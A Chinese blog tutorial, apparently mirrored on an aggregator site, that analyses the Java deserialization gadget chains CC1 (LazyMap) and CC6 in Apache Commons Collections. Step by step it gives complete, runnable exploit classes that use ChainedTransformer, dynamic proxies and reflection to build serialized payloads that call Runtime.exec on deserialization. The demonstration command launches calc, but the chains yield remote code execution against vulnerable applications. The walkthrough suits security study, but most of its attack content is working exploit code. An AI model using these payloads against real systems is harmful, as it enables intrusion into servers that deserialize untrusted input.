Java反序列化-(LazyMap)CC1链与CC6链

(LazyMap)CC1链

原版的CC1链:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

可以发现对比之前的 TransformMap版本的CC1链,从这里开始就不一样了
image.png

分析LazyMap.get()

直接进入到LazyMap类去分析get方法
image.png
可以发现transfor方法和之前的 InvokerTransformer类中的transfor方法很是相似
image.png
java中父类可以调用子类的方法
image.png
这个时候追踪这个 factory 方法的来源
image.png
这里是可控的,就不细说了,类似TransformedMapCC1链的方法
image.png
编写Exp代码

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1LazyMap {public static void main(String[] args) throws Exception{Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, invokerTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;Method get = lazyMapClass.getMethod("get", Object.class);get.invoke(lazymap,r);}
}

运行之后可以看见命令执行成功,说明了这条链是可行的
image.png
利用一个叫 ChainedTransformer的方法,进行简写刚刚的反射代码
image.png

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1LazyMap {public static void main(String[] args) throws Exception{Transformer[]  transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;Method get = lazyMapClass.getMethod("get", Object.class);get.invoke(lazymap,chainedTransformer);}
}

image.png

向上寻找readObject入口类

我们知道LazyMap使用的是get方法,然后我们在AnnotationInvocationHandler类中找到了get方法的使用,其中get方法还是在invoke方法里
image.png
构造exp代码,我们可以控制 memberValues.get(member) 中的memberValues变量
image.png

这个类还继承了InvocationHandler接口类,它是代理实例的调用处理程序实现的接口
image.png
这意味着我们可以通过动态代理调用invoke方法
image.png

  • ClassLoader loader 类的加载器
  • Class<?>[] interfaces 是一个数组,用于指定动态代理对象要实现的接口
  • InvocationHandler h 处理动态代理对象方法调用的处理器

代理的对象且实例化代码

InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);
Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

最终exp代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;public class CC1LazyMap {public static void main(String[] args) throws Exception{Transformer[]  transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;
//        Method get = lazyMapClass.getMethod("get", Object.class);
//        get.invoke(lazymap,chainedTransformer);Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);aihConstructor.setAccessible(true);//转InvocationHandler类型是为了能够调用处理程序实现的接口InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);serialize(o);unserialize("ser.bin");}public static void  serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

成功命令执行
image.png

总结

低版本可以使用,如8u65,高版本jdk8u71就不能利用了。通过动态代理利用invoke方法,实现可控方法。
image.png

CC6链分析

官方的CC6链Payload:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

对比CC1链就是这里不同
image.png\

xxx.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()Runtime.exec()

TiedMapEntry

我们可以从LazyMap.get()的上一层链子 TiedMapEntry 开始复现
image.png

getValue

可以发现TiedMapEntry的构造方法
image.png
再找到这个类的getValue方法,这个方法会调用map.get(key)方法。也就是说我们可以将构造好的lazymap的恶意内容放入到这里

exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);tiedMapEntry.getValue();}
}

可以看见命令执行成功
image.png
代码理解,看图
image.png
这里需要应该key,那么随便给一个,这里给了一个null空值。

hashCode

在这里可以发现,hashcode()方法调用了getValue()的方法
image.png
在 Java 反序列化当中,看见了 hashCode()后基本用这一条:

hashMap.put(Object key,Object value);

我们将 tiedMapEntry变量带入到 key中,然后value随便给
image.png

exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);hashMap.put(tiedMapEntry,null);}
}

运行代码之后可以看见命令执行
image.png
put自动执行了hashCode,相当于调用了getValue方法

反序列化构造payload

序列化与反序列化代码:

  public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}

我们知道在序列化执行命令执行是错误的,目标是为了服务器在反序列化对象的时候才能够命令执行。所以我们需要在序列化之前修改代码让它不执行命令,再反序列化的时候能够命令执行。

利用反射修改LazyMap类中的factory字段

protected final Transformer factory;
  • Transformer 是一个接口或类的类型,表示这个字段的类型是 Transformer。
  • factory 字段名

在执行命令之前,修改这行代码,让它不能命令执行

Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

后面操作LazayMap的class,进行反射操作factory字段名

 Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);

类的类型为lazymap,字段名为chainedTransformer
image.png
从而构造exp为以下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);hashMap.put(tiedMapEntry,null);Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);serialize(hashMap);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

但是还不能执行命令

让map类型中的key为false

来到LazyMap 的 get 方法中,可以看见如果key为false,就会调用这个 factory.transform()方法
image.png
所以我们要删除map类型里面的key值内容,让它为false。
在xx.put()下添加这行代码:

hashMap.remove(null);

最终exp

从而构造最终exp代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);hashMap.put(tiedMapEntry,null);hashMap.remove(null);//也可以修改为lazymap,null改为任意字符都可以Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);//serialize(hashMap);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

序列化代码后,只进行反序列化ser.bin文件,可以看见命令执行成功
image.png

总结

总的流程应该是:CC1+URLDNS(异曲同工)
这条CC6链的好处是JDK版本不受限制,但是仅限于 是commons-collections 3.2.1的版本或低于它的版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/817696.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OnlyOffice配置minio文件存储

OnlyOffice配置minio文件存储 一、部署minio测试环境 拉取minio镜像 为了快速验证&#xff0c;此处使用docker安装部署minio服务。先拉取minio最新版镜像资源。 -bash-4.2# docker pull minio/minio:latest -bash-4.2# docker images | grep minio minio/minio …

企业业务系统与呼叫中心话务系统的无缝对接实现方案

在当今的商业环境中&#xff0c;企业的业务系统与呼叫中心话务系统的对接显得尤为重要。这种对接不仅提高了企业的运营效率&#xff0c;还增强了客户服务的体验。本文将探讨如何实现企业业务系统与呼叫中心话务系统的无缝对接&#xff0c;并分析其带来的好处。 一、对接的必要性…

用html写一个有趣的鬼魂动画

<!DOCTYPE html> <html lang"en" > <head><meta charset"UTF-8"><title>一个有趣的鬼魂动画</title><link rel"stylesheet" href"https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.m…

2024第十五届蓝桥杯 JAVA B组

目录 前言&#xff1a;试题 A: 报数游戏试题 B: 类斐波那契循环数试题C:分布式队列 前言&#xff1a; 没参加这次蓝桥杯算法赛&#xff0c;十四届蓝桥杯被狂虐&#xff0c;对算法又爱又恨&#xff0c;爱我会做的题&#xff0c;痛恨我连题都读不懂的题&#x1f62d;,十四届填空只…

如何在Linux系统部署Joplin笔记并结合内网穿透实现无公网IP远程访问

文章目录 1. 安装Docker2. 自建Joplin服务器3. 搭建Joplin Sever4. 安装cpolar内网穿透5. 创建远程连接的固定公网地址 Joplin 是一个开源的笔记工具&#xff0c;拥有 Windows/macOS/Linux/iOS/Android/Terminal 版本的客户端。多端同步功能是笔记工具最重要的功能&#xff0c;…

简单粗暴解决 wampapache 突然无法启动错误1053

问题是因为没有安装:vc_redist_x64 导致的 全网最简单粗暴解决下 DirectX_v4.1修复

芯来科技、IAR和MachineWare携手加速符合ASIL标准RISC-V汽车芯片创新

支持软件开发团队在虚拟硬件平台上进行固件和MCAL开发 芯来科技&#xff08;Nuclei&#xff09;、IAR和MachineWare紧密合作&#xff0c;加速RISC-V ASIL合规汽车解决方案的创新。此次合作简化了汽车电子的固件和MCAL开发&#xff0c;提供了虚拟和物理硬件平台之间的无缝集成。…

SQL单表查询(2)

对查询结果排序 ◆使用ORDER BY子句 – 可以按一个或多个属性列排序 – 升序&#xff1a;ASC&#xff1b;降序&#xff1a;DESC&#xff1b;缺省值为升序 ◆ 当排序列含空值时 – ASC&#xff1a;排序列为空值的元组最后显示 – DESC&#xff1a;排序列为空值的元组最先显…

护眼台灯哪个牌子好?护眼灯十大品牌推荐,绝对真香!

对于有孩子的家庭&#xff0c;特别是阅读爱好者&#xff0c;晚上阅读时的光线问题至关重要。昏暗环境长时间阅读&#xff0c;会严重伤害孩子的眼睛。因此&#xff0c;选择一款合适的护眼台灯显得尤为重要。但市场上品牌众多&#xff0c;护眼台灯哪个牌子好?这往往让人难以抉择…

Linux 5.10 Pstore 学习之(二) 原理学习

目录 编译框架模块初始化pstore子系统ramoops模块初始化实例化注册回调数据结构 pstore_blk模块pstore_zone模块 测试扩展调试 编译框架 目标结构 linux_5.10/fs/pstore/ ├── blk.c ├── ftrace.c ├── inode.c // 核心1 ├── internal.h ├── Kconfig ├── …

(四)C++自制植物大战僵尸游戏启动流程

植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/ErelL 一、启动方式 鼠标左键单机VS2022上方工具栏中绿色三角按钮&#xff08;本地Windows调试器&#xff09;进行项目启动。第一次启动项目需要编译项目中所有代码文件&#xff0c;编译生成需要一定的时间。不同性能的电…

CentOS7使用Docker搭建Joplin Server并实现多端同步与公网使用本地笔记

文章目录 1. 安装Docker2. 自建Joplin服务器3. 搭建Joplin Sever4. 安装cpolar内网穿透5. 创建远程连接的固定公网地址 Joplin 是一个开源的笔记工具&#xff0c;拥有 Windows/macOS/Linux/iOS/Android/Terminal 版本的客户端。多端同步功能是笔记工具最重要的功能&#xff0c;…

基于springboot实现常州地方旅游管理系统项目【项目源码+论文说明】

基于springboot实现旅游管理系统演示 摘要 随着旅游业的迅速发展&#xff0c;传统的旅游信息查询方式&#xff0c;已经无法满足用户需求&#xff0c;因此&#xff0c;结合计算机技术的优势和普及&#xff0c;针对常州旅游&#xff0c;特开发了本基于Bootstrap的常州地方旅游管…

内存卡乱码?别担心,这里有你的数据恢复秘籍!

一、乱码困扰&#xff1a;内存卡数据成迷团 在数字化时代&#xff0c;内存卡作为我们存储数据的重要工具&#xff0c;承载着大量的照片、视频、文档等重要信息。然而&#xff0c;当有一天我们插上内存卡&#xff0c;发现原本井井有条的文件变成了乱码&#xff0c;那种焦虑和无…

5.Godot节点和功能及Node节点属性分析

1. 节点和功能的关系 节点 Node &#xff0c;用于实现一种功能&#xff0c;例如&#xff0c;Sprite 节点&#xff0c;用于图片的显示一个节点的功能取决于它挂载了哪些子节点&#xff0c;它包含了哪些功能的子节点&#xff0c;就包含了对应子节点表示的功能节点是可选的&#…

在个人电脑上,本地部署llama2-7b大模型

文章目录 前言原理效果实现 前言 我想也许很多人都想有一个本地的ai大语言模型,当然如果能够摆脱比如openai,goole,baidu设定的语言规则,可以打破交流界限,自由交谈隐私之类的,突破规则,同时因为部署在本地也不担心被其他人知道,那最好不过了 那究竟有没有这样的模型呢? llam…

怎么修改图片大小?在线图片处理的方法介绍

在日常生活中&#xff0c;我们经常需要调整图片大小以适应不同的网络上传要求。不管是微信、QQ换头像背景图片&#xff0c;还是各种社交媒体相册&#xff0c;都需要对图片改大小&#xff0c;今天就介绍几个关于修改图片大小的方法&#xff0c;可以不用下载安装就能在线图片处理…

WIFI详解及周边拓展

一、WiFi协议简介 WiFi协议&#xff0c;也称为无线保真技术&#xff0c;是一种允许电子设备通过无线方式在局域网&#xff08;WLAN&#xff09;和互联网上进行通信的技术标准。WiFi协议是基于IEEE 802标准的子系列标准协议&#xff0c;由电气和电子工程师协会制定。随着移动设备…

Docker篇(一)— Docker介绍

目录 什么是Docker应用部署的环境问题Docker解决依赖兼容问题Docker解决操作系统环境差异 小结 什么是Docker 微服务虽然具备各种各样的优势&#xff0c;但服务的拆分通用给部署带来了很大的麻烦。 分布式系统中&#xff0c;依赖的组件非常多&#xff0c;不同组件之间部署时往…

Java多线程的线程状态和线程池参数

一、线程状态 当线程被创建并启动以后&#xff0c;它既不是一启动就进入了执行状态&#xff0c;也不是一直处于执行状态。线程对象在不同的时期有不同的状态。Java中的线程状态被定义在了java.lang.Thread.State枚举类中&#xff0c;State枚举类的源码如下&#xff1a; publi…